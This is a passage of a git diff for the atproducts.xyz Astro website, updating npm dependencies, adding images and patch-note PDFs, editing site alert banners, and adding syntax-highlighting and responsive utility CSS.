-      "version": "9.2.2",
-      "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz",
-      "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==",
-      "license": "MIT"
-    },
-    "node_modules/widest-line/node_modules/string-width": {
-      "version": "5.1.2",
-      "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz",
-      "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==",
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/widest-line/-/widest-line-5.0.0.tgz",
+      "integrity": "sha512-c9bZp7b5YtRj2wOe6dlj32MK+Bx/M/d+9VB2SHM1OtsUHR0aV0tdP6DWh/iMt0kWi1t5g1Iudu6hQRNd1A4PVA==",
       "license": "MIT",
       "dependencies": {
-        "eastasianwidth": "^0.2.0",
-        "emoji-regex": "^9.2.2",
-        "strip-ansi": "^7.0.1"
+        "string-width": "^7.0.0"
       },
       "engines": {
-        "node": ">=12"
+        "node": ">=18"
       },
       "funding": {
         "url": "https://github.com/sponsors/sindresorhus"
       }
     },
     "node_modules/wrap-ansi": {
-      "version": "8.1.0",
-      "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz",
-      "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==",
+      "version": "9.0.0",
+      "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-9.0.0.tgz",
+      "integrity": "sha512-G8ura3S+3Z2G+mkgNRq8dqaFZAuxfsxpBB8OCTGRTCtp+l/v9nbFNmCUP1BZMts3G1142MsZfn6eeUKrr4PD1Q==",
       "license": "MIT",
       "dependencies": {
-        "ansi-styles": "^6.1.0",
-        "string-width": "^5.0.1",
-        "strip-ansi": "^7.0.1"
+        "ansi-styles": "^6.2.1",
+        "string-width": "^7.0.0",
+        "strip-ansi": "^7.1.0"
       },
       "engines": {
-        "node": ">=12"
+        "node": ">=18"
       },
       "funding": {
         "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
@@ -5613,29 +5499,6 @@
         "url": "https://github.com/chalk/ansi-styles?sponsor=1"
       }
     },
-    "node_modules/wrap-ansi/node_modules/emoji-regex": {
-      "version": "9.2.2",
-      "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz",
-      "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==",
-      "license": "MIT"
-    },
-    "node_modules/wrap-ansi/node_modules/string-width": {
-      "version": "5.1.2",
-      "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz",
-      "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==",
-      "license": "MIT",
-      "dependencies": {
-        "eastasianwidth": "^0.2.0",
-        "emoji-regex": "^9.2.2",
-        "strip-ansi": "^7.0.1"
-      },
-      "engines": {
-        "node": ">=12"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/sindresorhus"
-      }
-    },
     "node_modules/xxhash-wasm": {
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/xxhash-wasm/-/xxhash-wasm-1.0.2.tgz",
@@ -5679,9 +5542,9 @@
       }
     },
     "node_modules/zod-to-json-schema": {
-      "version": "3.23.2",
-      "resolved": "https://registry.npmjs.org/zod-to-json-schema/-/zod-to-json-schema-3.23.2.tgz",
-      "integrity": "sha512-uSt90Gzc/tUfyNqxnjlfBs8W6WSGpNBv0rVsNxP/BVSMHMKGdthPYff4xtCHYloJGM0CFxFsb3NbC0eqPhfImw==",
+      "version": "3.23.5",
+      "resolved": "https://registry.npmjs.org/zod-to-json-schema/-/zod-to-json-schema-3.23.5.tgz",
+      "integrity": "sha512-5wlSS0bXfF/BrL4jPAbz9da5hDlDptdEppYfe+x4eIJ7jioqKG9uUxOwPzqof09u/XeVdrgFu29lZi+8XNDJtA==",
       "license": "ISC",
       "peerDependencies": {
         "zod": "^3.23.3"
diff --git a/package.json b/package.json
index 079d45685..00b9eab30 100644
--- a/package.json
+++ b/package.json
@@ -1,8 +1,8 @@
 {
   "name": "atproducts.xyz",
-  "version": "2.19.2",
+  "version": "2.20.1",
   "config": {
-    "version_short": "2.19"
+    "version_short": "2.20"
   },
   "scripts": {
     "dev": "astro dev",
@@ -13,7 +13,7 @@
   },
   "dependencies": {
     "@astrojs/react": "^3.6.2",
-    "astro": "^4.15.2",
+    "astro": "^4.16.13",
     "react": "^18.2.0",
     "react-dom": "^18.2.0"
   }
diff --git a/public/.well-known/atproto-did b/public/.well-known/atproto-did
new file mode 100644
index 000000000..23c07577a
--- /dev/null
+++ b/public/.well-known/atproto-did
@@ -0,0 +1 @@
+did:plc:66tojpbmvecttgovfmt3gtla
diff --git a/public/media/files/require.txt b/public/media/files/require.txt
index 8e9b9858a..3d6551150 100644
--- a/public/media/files/require.txt
+++ b/public/media/files/require.txt
@@ -13,4 +13,4 @@ scipy>=1.10.0
 sounddevice==0.4.2
 pathlib==1.0.1
 jsonschema==3.2.0
-requests>=2.31.0
+requests>=2.31.0
\ No newline at end of file
diff --git a/public/media/images/AT-ROM-Games-white.png b/public/media/images/AT-ROM-Games-white.png
new file mode 100644
index 000000000..0d6051fab
Binary files /dev/null and b/public/media/images/AT-ROM-Games-white.png differ
diff --git a/public/media/images/AT-ROM-Games-white.webp b/public/media/images/AT-ROM-Games-white.webp
new file mode 100644
index 000000000..6501c9260
Binary files /dev/null and b/public/media/images/AT-ROM-Games-white.webp differ
diff --git a/public/media/images/AT-ROM-Games-with-logo-white.png b/public/media/images/AT-ROM-Games-with-logo-white.png
new file mode 100644
index 000000000..6d4acc8fa
Binary files /dev/null and b/public/media/images/AT-ROM-Games-with-logo-white.png differ
diff --git a/public/media/images/AT-ROM-Games-with-logo-white.webp b/public/media/images/AT-ROM-Games-with-logo-white.webp
new file mode 100644
index 000000000..3081e366a
Binary files /dev/null and b/public/media/images/AT-ROM-Games-with-logo-white.webp differ
diff --git a/public/media/images/AT-ROM-Games-with-logo.png b/public/media/images/AT-ROM-Games-with-logo.png
new file mode 100644
index 000000000..ceb5fa134
Binary files /dev/null and b/public/media/images/AT-ROM-Games-with-logo.png differ
diff --git a/public/media/images/AT-ROM-Games-with-logo.webp b/public/media/images/AT-ROM-Games-with-logo.webp
new file mode 100644
index 000000000..7c626f773
Binary files /dev/null and b/public/media/images/AT-ROM-Games-with-logo.webp differ
diff --git a/public/media/images/AT-ROM-Games.png b/public/media/images/AT-ROM-Games.png
new file mode 100644
index 000000000..c4e559c6a
Binary files /dev/null and b/public/media/images/AT-ROM-Games.png differ
diff --git a/public/media/images/AT-ROM-Games.webp b/public/media/images/AT-ROM-Games.webp
new file mode 100644
index 000000000..96cd7225d
Binary files /dev/null and b/public/media/images/AT-ROM-Games.webp differ
diff --git a/public/media/images/hero-roms.webp b/public/media/images/hero-roms.webp
new file mode 100644
index 000000000..6065142c0
Binary files /dev/null and b/public/media/images/hero-roms.webp differ
diff --git a/public/media/images/hero-stories.webp b/public/media/images/hero-stories.webp
new file mode 100644
index 000000000..16bc7d7be
Binary files /dev/null and b/public/media/images/hero-stories.webp differ
diff --git a/public/media/images/longblack.webp b/public/media/images/longblack.webp
new file mode 100644
index 000000000..aec3f8277
Binary files /dev/null and b/public/media/images/longblack.webp differ
diff --git a/public/media/images/longwhite.webp b/public/media/images/longwhite.webp
new file mode 100644
index 000000000..66cd1a605
Binary files /dev/null and b/public/media/images/longwhite.webp differ
diff --git a/public/media/images/shortblack.webp b/public/media/images/shortblack.webp
new file mode 100644
index 000000000..80926bdd6
Binary files /dev/null and b/public/media/images/shortblack.webp differ
diff --git a/public/media/images/shortwhite.webp b/public/media/images/shortwhite.webp
new file mode 100644
index 000000000..230c94af9
Binary files /dev/null and b/public/media/images/shortwhite.webp differ
diff --git a/public/media/images/storyviewer-black.png b/public/media/images/storyviewer-black.png
new file mode 100644
index 000000000..1898e4677
Binary files /dev/null and b/public/media/images/storyviewer-black.png differ
diff --git a/public/media/images/storyviewer-black.webp b/public/media/images/storyviewer-black.webp
new file mode 100644
index 000000000..f0a7ad275
Binary files /dev/null and b/public/media/images/storyviewer-black.webp differ
diff --git a/public/media/images/storyviewer-white.png b/public/media/images/storyviewer-white.png
new file mode 100644
index 000000000..becea7cbf
Binary files /dev/null and b/public/media/images/storyviewer-white.png differ
diff --git a/public/media/images/storyviewer-white.webp b/public/media/images/storyviewer-white.webp
new file mode 100644
index 000000000..7aea44e00
Binary files /dev/null and b/public/media/images/storyviewer-white.webp differ
diff --git a/public/media/pdf/2.19.2.1 Patch Notes.pdf b/public/media/pdf/2.19.2.1 Patch Notes.pdf
new file mode 100644
index 000000000..99a550427
Binary files /dev/null and b/public/media/pdf/2.19.2.1 Patch Notes.pdf differ
diff --git a/public/media/pdf/2.20 Patch Notes.pdf b/public/media/pdf/2.20 Patch Notes.pdf
new file mode 100644
index 000000000..8267a01e4
Binary files /dev/null and b/public/media/pdf/2.20 Patch Notes.pdf differ
diff --git a/public/media/pdf/2.20.1 Patch Notes.pdf b/public/media/pdf/2.20.1 Patch Notes.pdf
new file mode 100644
index 000000000..35c9ba402
Binary files /dev/null and b/public/media/pdf/2.20.1 Patch Notes.pdf differ
diff --git a/public/media/slideshow/21921-1-091824.webp b/public/media/slideshow/21921-1-091824.webp
new file mode 100644
index 000000000..6b5e29f4d
Binary files /dev/null and b/public/media/slideshow/21921-1-091824.webp differ
diff --git a/public/media/slideshow/21921-2-091824.webp b/public/media/slideshow/21921-2-091824.webp
new file mode 100644
index 000000000..350de1c3b
Binary files /dev/null and b/public/media/slideshow/21921-2-091824.webp differ
diff --git a/public/media/slideshow/220-101024-1.webp b/public/media/slideshow/220-101024-1.webp
new file mode 100644
index 000000000..e82908043
Binary files /dev/null and b/public/media/slideshow/220-101024-1.webp differ
diff --git a/public/media/slideshow/220-101024-2.webp b/public/media/slideshow/220-101024-2.webp
new file mode 100644
index 000000000..756a9852d
Binary files /dev/null and b/public/media/slideshow/220-101024-2.webp differ
diff --git a/public/media/slideshow/220-101024-3.webp b/public/media/slideshow/220-101024-3.webp
new file mode 100644
index 000000000..1686bc8a4
Binary files /dev/null and b/public/media/slideshow/220-101024-3.webp differ
diff --git a/public/media/slideshow/220-101024-4.webp b/public/media/slideshow/220-101024-4.webp
new file mode 100644
index 000000000..1543a5f92
Binary files /dev/null and b/public/media/slideshow/220-101024-4.webp differ
diff --git a/public/media/slideshow/2201-102324-1.webp b/public/media/slideshow/2201-102324-1.webp
new file mode 100644
index 000000000..0f8c5646d
Binary files /dev/null and b/public/media/slideshow/2201-102324-1.webp differ
diff --git a/public/media/slideshow/2201-102324-2.webp b/public/media/slideshow/2201-102324-2.webp
new file mode 100644
index 000000000..f6144c573
Binary files /dev/null and b/public/media/slideshow/2201-102324-2.webp differ
diff --git a/public/media/slideshow/3YEAR.webp b/public/media/slideshow/3YEAR.webp
new file mode 100644
index 000000000..2f587c405
Binary files /dev/null and b/public/media/slideshow/3YEAR.webp differ
diff --git a/public/media/slideshow/Halloween.webp b/public/media/slideshow/Halloween.webp
new file mode 100644
index 000000000..7d1295426
Binary files /dev/null and b/public/media/slideshow/Halloween.webp differ
diff --git a/public/static/alert-1.js b/public/static/alert-1.js
index 4e0c314b9..8be34dbab 100644
--- a/public/static/alert-1.js
+++ b/public/static/alert-1.js
@@ -1,11 +1,11 @@
 // --- Config --- //
 var pureAlert1Type = "alert-dark"; // Color
-var pureAlert1Title = "DATA NOTICE:"; // Title
+var pureAlert1Title = "NOTICE:"; // Title
 var pureAlert1Icon = 'bi-dash-lg'; // Icon
-var pureAlert1Desc = "We have removed all unnecessary and/or unused files starting with 2.19.1. This results in 207 files being removed. If you are curious on what these files are, please click the link here:"; // Description
-var pureAlert1Link = 'https://github.com/Alex-Toucan/atproducts.xyz/pull/220/commits/80b2ffed86602d040542bf7168f28056e7ddc801'; // Link
-var pureAlert1LinkDesc = 'View the GitHub commit'; // Link text
-var pureAlert1Enabled = true; // Switch to enable/disable alert
+var pureAlert1Desc = "ALL DEPARTMENTS AND SUBSIDARIES WILL SHUT DOWN OPERATIONS THROUGHOUT TODAY DUE TO UNEXPECTED CIRCUMSTANCES, ON WHICH WILL NOT BE SHARED. SOME DEPARTMENTS MAY CONTINUE OPERATING AFTER 4 PM CDT. ALL DEPARTMENTS AND SUBSIDARIES WILL CONTINUE OPERATIONS TOMORROW MORNING. THANK YOU FOR YOUR COOPERATION."; // Description
+var pureAlert1Link = 'https://x.com/ATProductsLLC/status/1845844813892943965'; // Link
+var pureAlert1LinkDesc = 'VIEW TWITTER/X POST FOR OTHER DEPARTMENTS'; // Link text
+var pureAlert1Enabled = false; // Switch to enable/disable alert
 // ---        --- //
 
 function setAlert1Cookie(name, value, days) {
@@ -34,7 +34,7 @@ function eraseAlert1Cookie(name) {
 }
 
 $(document).ready(function () {
-    if (pureAlert1Enabled && window.location.pathname.indexOf("/cctv") === -1 && !getAlert1Cookie('pureAlert1Dismiss')) {
+    if (pureAlert1Enabled && window.location.pathname.indexOf("/stories/") === -1 && !getAlert1Cookie('pureAlert1Dismiss')) {
         var header = $('header');
         var alert1Container = $('<div class="alert-container"></div>');
         alert1Container.html('<div class="alert ' + pureAlert1Type + ' alert-dismissible fade show mb-0 d-flex gap-2" role="alert"> <i class="bi ' + pureAlert1Icon + ' h-100"></i><div><strong>' + pureAlert1Title + '</strong> ' + pureAlert1Desc + ' <a class="icon-link icon-link-hover" href="' + pureAlert1Link + '">' + pureAlert1LinkDesc + '<i class="bi bi-arrow-right h-100"></i></a></div><button onclick="pureAlert1Dismiss();" type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button> </div>');
diff --git a/public/static/alert-2.js b/public/static/alert-2.js
index 2afd7b36e..2a51f1950 100644
--- a/public/static/alert-2.js
+++ b/public/static/alert-2.js
@@ -35,7 +35,7 @@ function eraseAlert2Cookie(name) {
 
 /* Comment this section if there is no alert loaded */
 $(document).ready(function () {
-    if (pureAlert2Enabled && window.location.pathname.indexOf("/cctv") === -1 && !getAlert2Cookie('pureAlert2Dismiss')) {
+    if (pureAlert2Enabled && window.location.pathname.indexOf("/stories/") === -1 && !getAlert2Cookie('pureAlert2Dismiss')) {
         var header = $('header');
         var alert2Container = $('<div class="alert-container"></div>');
         alert2Container.html('<div class="alert ' + pureAlert2Type + ' alert-dismissible fade show mb-0 d-flex gap-2" role="alert"> <i class="bi ' + pureAlert2Icon + ' h-100"></i><div><strong>' + pureAlert2Title + '</strong> ' + pureAlert2Desc + ' <a class="icon-link icon-link-hover" href="' + pureAlert2Link + '">' + pureAlert2LinkDesc + '<i class="bi bi-arrow-right h-100"></i></a></div><button onclick="pureAlert2Dismiss();" type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button> </div>');
diff --git a/public/static/highlight.css b/public/static/highlight.css
new file mode 100644
index 000000000..a37a19f09
--- /dev/null
+++ b/public/static/highlight.css
@@ -0,0 +1,183 @@
+/* Dracula Theme v1.2.5
+ *
+ * https://github.com/dracula/highlightjs
+ *
+ * Copyright 2016-present, All rights reserved
+ *
+ * Code licensed under the MIT license
+ *
+ * @author Denis Ciccale <dciccale@gmail.com>
+ * @author Zeno Rocha <hi@zenorocha.com>
+ */
+
+.pre-scroll div {
+  overflow-x: auto;
+  max-width: 100%;
+}
+
+pre {
+  white-space: pre;
+  overflow-x: auto;
+  overflow-y: hidden;
+  max-width: 100%; 
+}
+
+.not-standalone {
+  display: inline-flex;
+  margin-bottom: 0 !important;
+}
+
+.hljs {
+  display: block;
+  overflow-x: auto;
+}
+
+:root, [data-bs-theme=light] {
+  .hljs {
+    color: #444
+  }
+  .hljs-subst {
+  }
+  .hljs-formula,
+  .hljs-attr,
+  .hljs-property,
+  .hljs-params {
+  }
+  .hljs-comment {
+    color: #697070
+  }
+  .hljs-tag,
+  .hljs-punctuation {
+    color: #444a
+  }
+  .hljs-tag .hljs-name,
+  .hljs-tag .hljs-attr {
+    color: #444
+  }
+  .hljs-keyword,
+  .hljs-attribute,
+  .hljs-selector-tag,
+  .hljs-meta .hljs-keyword,
+  .hljs-doctag,
+  .hljs-name {
+    font-weight: bold
+  }
+  /* User color: hue: 0 */
+  .hljs-type,
+  .hljs-string,
+  .hljs-number,
+  .hljs-selector-id,
+  .hljs-selector-class,
+  .hljs-quote,
+  .hljs-template-tag,
+  .hljs-deletion {
+    color: #880000
+  }
+  .hljs-title,
+  .hljs-section {
+    color: #880000;
+    font-weight: bold
+  }
+  .hljs-regexp,
+  .hljs-symbol,
+  .hljs-variable,
+  .hljs-template-variable,
+  .hljs-link,
+  .hljs-selector-attr,
+  .hljs-operator,
+  .hljs-selector-pseudo {
+    color: #ab5656
+  }
+  /* Language color: hue: 90; */
+  .hljs-literal {
+    color: #695
+  }
+  .hljs-built_in,
+  .hljs-bullet,
+  .hljs-code,
+  .hljs-addition {
+    color: #397300
+  }
+  .hljs-meta {
+    color: #1f7199
+  }
+  .hljs-meta .hljs-string {
+    color: #38a
+  }
+  .hljs-emphasis {
+    font-style: italic
+  }
+  .hljs-strong {
+    font-weight: bold
+  }
+}
+
+[data-bs-theme=dark] {
+  .hljs-tag, 
+  .hljs-punctuation {
+    color: inherit !important;
+  }
+  
+  .hljs-built_in,
+  .hljs-selector-tag,
+  .hljs-section,
+  .hljs-link {
+    color: #8be9fd !important;
+  }
+  
+  .hljs-keyword {
+    color: #ff79c6 !important;
+  }
+  
+  .hljs,
+  .hljs-subst {
+    color: #f8f8f2 !important;
+  }
+  
+  .hljs-title,
+  .hljs-attr,
+  .hljs-meta-keyword {
+    font-style: italic !important;
+    color: #50fa7b !important;
+  }
+  
+  .hljs-string,
+  .hljs-meta,
+  .hljs-name,
+  .hljs-type,
+  .hljs-symbol,
+  .hljs-bullet,
+  .hljs-addition,
+  .hljs-variable,
+  .hljs-template-tag,
+  .hljs-template-variable {
+    color: #f1fa8c !important;
+  }
+  
+  .hljs-comment,
+  .hljs-quote,
+  .hljs-deletion {
+    color: #6272a4 !important;
+  }
+  
+  .hljs-keyword,
+  .hljs-selector-tag,
+  .hljs-literal,
+  .hljs-title,
+  .hljs-section,
+  .hljs-doctag,
+  .hljs-type,
+  .hljs-name,
+  .hljs-strong {
+    font-weight: bold !important;
+  }
+  
+  .hljs-literal,
+  .hljs-number {
+    color: #bd93f9 !important;
+  }
+  
+  .hljs-emphasis {
+    font-style: italic !important;
+  }
+}
diff --git a/public/static/message.js b/public/static/message.js
index 74f324895..513f55ccb 100644
--- a/public/static/message.js
+++ b/public/static/message.js
@@ -3,7 +3,7 @@ $(document).ready(function() {
   const whiteColor = getComputedStyle(document.documentElement)
                      .getPropertyValue('--text-color') || 'white';
 
-  console.log('%cHello there fellow traveler!%c\n Feel free to explore and experiment with the console. Rest assured, nothing on this site can compromise your security, and your cookies do not contain personally identifiable information.\n\nThis website is open source, and we welcome you to check out the code at %chttps://github.com/Alex-Toucan/atproducts.xyz',
+  console.log('%cHello there fellow traveler!%c\nFeel free to explore and experiment with the console. Rest assured, nothing on this site can compromise your security, and your cookies do not contain personally identifiable information.\n\nThis website is open source, and we welcome you to check out the code at %chttps://github.com/Alex-Toucan/atproducts.xyz',
               'font-weight: bold; font-size: 24px; color: green;',  // Style for header
               `font-size: 16px; color: ${whiteColor};`,              // Style for body text with dynamic color
               'font-size: 16px; color: blue; text-decoration: underline;' // Style for link
diff --git a/public/static/other.css b/public/static/other.css
index 0f439ec2c..7bd032c9d 100644
--- a/public/static/other.css
+++ b/public/static/other.css
@@ -17,17 +17,17 @@ html, body {
 }
 
 .hero {
-    width: 100%;
-    position: relative;
-    z-index: 1000;
-    background-size: cover !important;
-    background-position: center center !important;
-    background-repeat: no-repeat !important;   
+  width: 100%;
+  position: relative;
+  z-index: 1000;
+  background-size: cover !important;
+  background-position: center center !important;
+  background-repeat: no-repeat !important;   
 }
 
 .hero-back {
-    border-bottom: solid 1px #dee2e6;
-    background-color: rgba(0, 0, 0, 0.6);
+  border-bottom: solid 1px #dee2e6;
+  background-color: rgba(0, 0, 0, 0.6);
 }
 
 .hero-filter {
@@ -35,11 +35,15 @@ html, body {
 }
 
 .hero-web {
-    background: url('/media/images/hero-web.webp');
+  background: url('/media/images/hero-web.webp');
+}
+
+.hero-stories {
+  background: url('/media/images/hero-stories.webp');
 }
 
 .hero-flash {
-    background: url('/media/images/hero-flash.webp');
+  background: url('/media/images/hero-flash.webp');
 }
 
 .hero-main {
@@ -70,6 +74,10 @@ html, body {
 	background: url('/media/images/hero-mdickie.webp');
 } 
 
+.hero-roms {
+	background: url('/media/images/hero-roms.webp');
+} 
+
 .accordion-body p:last-child {
   margin-bottom: 0 !important;
 }
@@ -493,6 +501,9 @@ a:not(p a), p, code:not(p code), b:not(p b), i:not(p i) { /* Custom */
 	.ms-story-1 {
 		margin-left: .25rem !important;
 	}
+	.d-story-none {
+		display: none !important;
+	}
 }
 
 @media (max-width: 900.98px) {
@@ -749,6 +760,564 @@ a:not(p a), p, code:not(p code), b:not(p b), i:not(p i) { /* Custom */
   margin-bottom: 2.5rem !important;
 }
 
+@media (min-width: 445.98px) {
+  .float-xs-start {
+    float: left !important;
+  }
+  .float-xs-end {
+    float: right !important;
+  }
+  .float-xs-none {
+    float: none !important;
+  }
+  .object-fit-xs-contain {
+    -o-object-fit: contain !important;
+    object-fit: contain !important;
+  }
+  .object-fit-xs-cover {
+    -o-object-fit: cover !important;
+    object-fit: cover !important;
+  }
+  .object-fit-xs-fill {
+    -o-object-fit: fill !important;
+    object-fit: fill !important;
+  }
+  .object-fit-xs-scale {
+    -o-object-fit: scale-down !important;
+    object-fit: scale-down !important;
+  }
+  .object-fit-xs-none {
+    -o-object-fit: none !important;
+    object-fit: none !important;
+  }
+  .d-xs-inline {
+    display: inline !important;
+  }
+  .d-xs-inline-block {
+    display: inline-block !important;
+  }
+  .d-xs-block {
+    display: block !important;
+  }
+  .d-xs-grid {
+    display: grid !important;
+  }
+  .d-xs-table {
+    display: table !important;
+  }
+  .d-xs-table-row {
+    display: table-row !important;
+  }
+  .d-xs-table-cell {
+    display: table-cell !important;
+  }
+  .d-xs-flex {
+    display: flex !important;
+  }
+  .d-xs-inline-flex {
+    display: inline-flex !important;
+  }
+  .d-xs-none {
+    display: none !important;
+  }
+  .flex-xs-fill {
+    flex: 1 1 auto !important;
+  }
+  .flex-xs-row {
+    flex-direction: row !important;
+  }
+  .flex-xs-column {
+    flex-direction: column !important;
+  }
+  .flex-xs-row-reverse {
+    flex-direction: row-reverse !important;
+  }
+  .flex-xs-column-reverse {
+    flex-direction: column-reverse !important;
+  }
+  .flex-xs-grow-0 {
+    flex-grow: 0 !important;
+  }
+  .flex-xs-grow-1 {
+    flex-grow: 1 !important;
+  }
+  .flex-xs-shrink-0 {
+    flex-shrink: 0 !important;
+  }
+  .flex-xs-shrink-1 {
+    flex-shrink: 1 !important;
+  }
+  .flex-xs-wrap {
+    flex-wrap: wrap !important;
+  }
+  .flex-xs-nowrap {
+    flex-wrap: nowrap !important;
+  }
+  .flex-xs-wrap-reverse {
+    flex-wrap: wrap-reverse !important;
+  }
+  .justify-content-xs-start {
+    justify-content: flex-start !important;
+  }
+  .justify-content-xs-end {
+    justify-content: flex-end !important;
+  }
+  .justify-content-xs-center {
+    justify-content: center !important;
+  }
+  .justify-content-xs-between {
+    justify-content: space-between !important;
+  }
+  .justify-content-xs-around {
+    justify-content: space-around !important;
+  }
+  .justify-content-xs-evenly {
+    justify-content: space-evenly !important;
+  }
+  .align-items-xs-start {
+    align-items: flex-start !important;
+  }
+  .align-items-xs-end {
+    align-items: flex-end !important;
+  }
+  .align-items-xs-center {
+    align-items: center !important;
+  }
+  .align-items-xs-baseline {
+    align-items: baseline !important;
+  }
+  .align-items-xs-stretch {
+    align-items: stretch !important;
+  }
+  .align-content-xs-start {
+    align-content: flex-start !important;
+  }
+  .align-content-xs-end {
+    align-content: flex-end !important;
+  }
+  .align-content-xs-center {
+    align-content: center !important;
+  }
+  .align-content-xs-between {
+    align-content: space-between !important;
+  }
+  .align-content-xs-around {
+    align-content: space-around !important;
+  }
+  .align-content-xs-stretch {
+    align-content: stretch !important;
+  }
+  .align-self-xs-auto {
+    align-self: auto !important;
+  }
+  .align-self-xs-start {
+    align-self: flex-start !important;
+  }
+  .align-self-xs-end {
+    align-self: flex-end !important;
+  }
+  .align-self-xs-center {
+    align-self: center !important;
+  }
+  .align-self-xs-baseline {
+    align-self: baseline !important;
+  }
+  .align-self-xs-stretch {
+    align-self: stretch !important;
+  }
+  .order-xs-first {
+    order: -1 !important;
+  }
+  .order-xs-0 {
+    order: 0 !important;
+  }
+  .order-xs-1 {
+    order: 1 !important;
+  }
+  .order-xs-2 {
+    order: 2 !important;
+  }
+  .order-xs-3 {
+    order: 3 !important;
+  }
+  .order-xs-4 {
+    order: 4 !important;
+  }
+  .order-xs-5 {
+    order: 5 !important;
+  }
+  .order-xs-last {
+    order: 6 !important;
+  }
+  .m-xs-0 {
+    margin: 0 !important;
+  }
+  .m-xs-1 {
+    margin: 0.25rem !important;
+  }
+  .m-xs-2 {
+    margin: 0.5rem !important;
+  }
+  .m-xs-3 {
+    margin: 1rem !important;
+  }
+  .m-xs-4 {
+    margin: 1.5rem !important;
+  }
+  .m-xs-5 {
+    margin: 3rem !important;
+  }
+  .m-xs-auto {
+    margin: auto !important;
+  }
+  .mx-xs-0 {
+    margin-right: 0 !important;
+    margin-left: 0 !important;
+  }
+  .mx-xs-1 {
+    margin-right: 0.25rem !important;
+    margin-left: 0.25rem !important;
+  }
+  .mx-xs-2 {
+    margin-right: 0.5rem !important;
+    margin-left: 0.5rem !important;
+  }
+  .mx-xs-3 {
+    margin-right: 1rem !important;
+    margin-left: 1rem !important;
+  }
+  .mx-xs-4 {
+    margin-right: 1.5rem !important;
+    margin-left: 1.5rem !important;
+  }
+  .mx-xs-5 {
+    margin-right: 3rem !important;
+    margin-left: 3rem !important;
+  }
+  .mx-xs-auto {
+    margin-right: auto !important;
+    margin-left: auto !important;
+  }
+  .my-xs-0 {
+    margin-top: 0 !important;
+    margin-bottom: 0 !important;
+  }
+  .my-xs-1 {
+    margin-top: 0.25rem !important;
+    margin-bottom: 0.25rem !important;
+  }
+  .my-xs-2 {
+    margin-top: 0.5rem !important;
+    margin-bottom: 0.5rem !important;
+  }
+  .my-xs-3 {
+    margin-top: 1rem !important;
+    margin-bottom: 1rem !important;
+  }
+  .my-xs-4 {
+    margin-top: 1.5rem !important;
+    margin-bottom: 1.5rem !important;
+  }
+  .my-xs-5 {
+    margin-top: 3rem !important;
+    margin-bottom: 3rem !important;
+  }
+  .my-xs-auto {
+    margin-top: auto !important;
+    margin-bottom: auto !important;
+  }
+  .mt-xs-0 {
+    margin-top: 0 !important;
+  }
+  .mt-xs-1 {
+    margin-top: 0.25rem !important;
+  }
+  .mt-xs-2 {
+    margin-top: 0.5rem !important;
+  }
+  .mt-xs-3 {
+    margin-top: 1rem !important;
+  }
+  .mt-xs-4 {
+    margin-top: 1.5rem !important;
+  }
+  .mt-xs-5 {
+    margin-top: 3rem !important;
+  }
+  .mt-xs-auto {
+    margin-top: auto !important;
+  }
+  .me-xs-0 {
+    margin-right: 0 !important;
+  }
+  .me-xs-1 {
+    margin-right: 0.25rem !important;
+  }
+  .me-xs-2 {
+    margin-right: 0.5rem !important;
+  }
+  .me-xs-3 {
+    margin-right: 1rem !important;
+  }
+  .me-xs-4 {
+    margin-right: 1.5rem !important;
+  }
+  .me-xs-5 {
+    margin-right: 3rem !important;
+  }
+  .me-xs-auto {
+    margin-right: auto !important;
+  }
+  .mb-xs-0 {
+    margin-bottom: 0 !important;
+  }
+  .mb-xs-1 {
+    margin-bottom: 0.25rem !important;
+  }
+  .mb-xs-2 {
+    margin-bottom: 0.5rem !important;
+  }
+  .mb-xs-3 {
+    margin-bottom: 1rem !important;
+  }
+  .mb-xs-4 {
+    margin-bottom: 1.5rem !important;
+  }
+  .mb-xs-5 {
+    margin-bottom: 3rem !important;
+  }
+  .mb-xs-auto {
+    margin-bottom: auto !important;
+  }
+  .ms-xs-0 {
+    margin-left: 0 !important;
+  }
+  .ms-xs-1 {
+    margin-left: 0.25rem !important;
+  }
+  .ms-xs-2 {
+    margin-left: 0.5rem !important;
+  }
+  .ms-xs-3 {
+    margin-left: 1rem !important;
+  }
+  .ms-xs-4 {
+    margin-left: 1.5rem !important;
+  }
+  .ms-xs-5 {
+    margin-left: 3rem !important;
+  }
+  .ms-xs-auto {
+    margin-left: auto !important;
+  }
+  .p-xs-0 {
+    padding: 0 !important;
+  }
+  .p-xs-1 {
+    padding: 0.25rem !important;
+  }
+  .p-xs-2 {
+    padding: 0.5rem !important;
+  }
+  .p-xs-3 {
+    padding: 1rem !important;
+  }
+  .p-xs-4 {
+    padding: 1.5rem !important;
+  }
+  .p-xs-5 {
+    padding: 3rem !important;
+  }
+  .px-xs-0 {
+    padding-right: 0 !important;
+    padding-left: 0 !important;
+  }
+  .px-xs-1 {
+    padding-right: 0.25rem !important;
+    padding-left: 0.25rem !important;
+  }
+  .px-xs-2 {
+    padding-right: 0.5rem !important;
+    padding-left: 0.5rem !important;
+  }
+  .px-xs-3 {
